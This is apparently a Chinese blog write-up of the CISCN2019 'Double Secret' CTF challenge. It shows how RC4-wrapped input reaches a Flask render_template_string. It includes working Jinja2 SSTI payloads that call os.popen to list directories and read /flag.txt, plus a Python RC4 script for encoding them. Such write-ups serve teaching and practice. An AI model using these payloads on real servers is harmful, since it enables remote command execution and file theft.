首页 > 其他分享 >[CISCN2019 华东南赛区]Double Secret

[CISCN2019 华东南赛区]Double Secret

时间:2023-01-08 23:24:12浏览次数:57  
标签:box rc4 Double base64 init Secret key CISCN2019 secret

[CISCN2019 华东南赛区]Double Secret

考点:1、RC4加密 2、FlaskのSSTI

进去一脸懵逼,常规流程走一套啥也没发现

然后先是看到了毫无用处的robots.txtdirsearch扫了一遍也没扫到,在后面尝试了index.php、index.jsp、index.html,以自己的知识量猜测就是python的flask,然后就盲猜了一手/secret

Tell me your secret.I will encrypt it so others can't see

猜测注入点是secret,注入后发现不明的回显,瞎输了一些东西后发现报错

image-20211212194358309

关键代码如下:

 if(secret==None):
        return 'Tell me your secret.I will encrypt it so others can\'t see'
    rc=rc4_Modified.RC4("HereIsTreasure")   #解密
    deS=rc.do_crypt(secret)
 
    a=render_template_string(safe(deS))
 
    if 'ciscn' in a.lower():
        return 'flag detected!'
    return a
Open an interactive python shell in this frame 

将输入的内容进行了rc4解密并回显到了页面上,所以我们只需要将payload进行rc4加密后注入即可

加密地址:http://www.hiencode.com/rc4.html

显示尝试{{7*7}},回显49,证明存在SSTI

接着先随便使用一个payload

{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

关于FlaskのSSTI,可以看看之前的文章Flask框架及其漏洞学习

payload:

secret=LhQZVqUJDWds0+csvb73uyesa3qIbel8A4UHthzzDeAhhE/XBOIX20CdgvEqM/MKqq1DYiqsJn/QdgbWvEsVvd1Zp1Q=

发现成功执行没有任何过滤,然后依次是

{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read() }}

加密后注入即可获得flag

做rc4加密的时候先是自己在网上找脚本,发现好多都用不了,最后只能找到一个大师傅的wp脚本:

import base64
from urllib import parse

def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt

def rc4_init_sbox(key):
    s_box = list(range(256)) 
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

key = "HereIsTreasure"  #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
#print("rc4加密后的base64编码"+enc_base64)

标签:box,rc4,Double,base64,init,Secret,key,CISCN2019,secret
From: https://www.cnblogs.com/seizer/p/17035716.html

相关文章

  • QTdouble转QString(各种类型转换)
     每次写代码的时候总是要重新回想用哪个函数(代码写得太少了),今天要总结一下double转QString用下面这个函数   第二个参数charformat默认是gformat 可以传的......
  • MySQL 删除时 Data truncation Truncated incorrect DOUBLE value
    MySQL删除时Datatruncation:TruncatedincorrectDOUBLEvalue数据库在删除的时候会做数据类型校验,将字段值转换为你传进去的类型,发现不能转换的就会报错......
  • TOMCAT报错AJP连接器配置secretRequired="true",但是属性secret确实空或者空字符串,这
    TOMCAT报错AJP连接器配置secretRequired="true",但是属性secret确实空或者空字符串,这样的组合是无效的。解决方法解决方案也很简单,打开server.xml,在connector段中设置AJP......
  • Double Machine Learning(DML) 原理及其应用
    DoubleMachineLearning(DML)原理及其应用​​1.为什么需要DML?​​​​2.DML原理​​​​2.1符号定义​​​​2.2DML训练过程​​​​2.3为什么残差正交化可得到无偏......
  • Java Integer、Long、Double类型数值求平均值
    1Integer类型数值求平均值1.1常规实现List<Integer>list=newArrayList<>();Integersum=0;for(Integeri:list){sum+=i;}doubleavg=list!=null......
  • 每天一点基础K8S--K8S种的secret
    secret1、背景secret是一种用于保存少量敏感信息例如密码、令牌或密钥的对象资源。这样的信息可能会被放在Pod规约中或者镜像中。使用Secret意味着你不需要在应用程......
  • double trouble
    doubletrouble ​​Executionplans​​​,​​​Performance​​​,​​​Tuning​​ —JonathanLewis@7:06pmBSTMay18,2010 Inthelates......
  • Secret
    百度网盘链接:https://pan.baidu.com/s/15t_TSH5RRpCFXV-93JHpNw?pwd=8od3 提取码:8od316Secret16.1Secret是什么?上面我们学习的Configmap一般是用来存放明文数据的,如......
  • ShenTong Double/Float 类型与Oracle 的差异
    在计算机中十进制小数转化为二进制数算法是乘以2直到没有了小数为止,所以有些小数不能准确表示类似十进制中无法用小数准确表示1/3.计算机是通过二进制进行运算的,首先需要......
  • k8s--配置存储 ConfigMap、Secret
    介绍ConfigMap是一种API对象,用来将非机密性的数据保存到健值对中。使用时可以用作环境变量、命令行参数或者存储卷中的配置文件。ConfigMap将环境配置信息和容器镜像......